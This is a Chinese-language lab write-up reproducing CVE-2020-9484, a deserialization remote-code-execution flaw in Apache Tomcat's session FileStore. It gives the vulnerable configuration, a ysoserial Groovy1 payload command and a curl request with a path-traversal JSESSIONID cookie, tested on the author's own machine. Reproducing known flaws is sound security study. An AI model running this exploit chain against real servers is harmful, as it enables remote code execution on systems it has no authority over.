声明
好好学习,天天向上
漏洞描述
Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。
由于错误配置和 org.apache.catalina.session.FileStore 的 LFI 和反序列化漏洞引起的 RCE。
当配置了 org.apache.catalina.session.PersistentManager 并且使用 org.apache.catalina.session.FileStore 来储存 session 时, 用户可以通过 org.apache.catalina.session.FileStore 的一个 LFI 漏洞来读取服务器上任意以 .session结尾的文件。然后通过反序列化来运行 .session 文件。
默认情况是使用 org.apache.catalina.session.StandardManager, 将 session储存到内存,而 PersistentManager 会将不常用的 session swap out, 从而减少内存占用。
影响范围
10.0.0-M1 to 10.0.0-M4
9.0.0.M1 to 9.0.34
8.5.0 to 8.5.54
7.0.0 to 7.0.103
复现过程
这里使用10.0.0-M4
我把tomcat搭建在我的kali上,所以我还是自己攻自己,源和目标IP都为192.168.239.139
这里要用到tomcat,groovy和反序列化利用工具ysoserial
tomcat搭建
访问
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/
我下载的是tar.gz
然后放到kali中,解压缩
修改tomcat/conf/context.xlm, 添加 Manager,里面加入
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>
加入后的contest.xlm为
下载 groovy-2.3.9.jar
https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9
还要选择,我是个大活人,验证码验证才能下载,我这里下载jar包
放到tomcat的lib中
进入到tomcat的bin目录下执行启动命令来启动tomcat
./catalina.sh start
使用ysoserial工具攻击,需要提前下载好ysoserial的jar包,下载地址
https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar
下载好后,执行
java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/cve-2020-9484" > /tmp/test.session
再执行,因为我tomcat搭建在kali上,这里就填自己的IP了
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'
查看touch命令是否执行成功
ls /tmp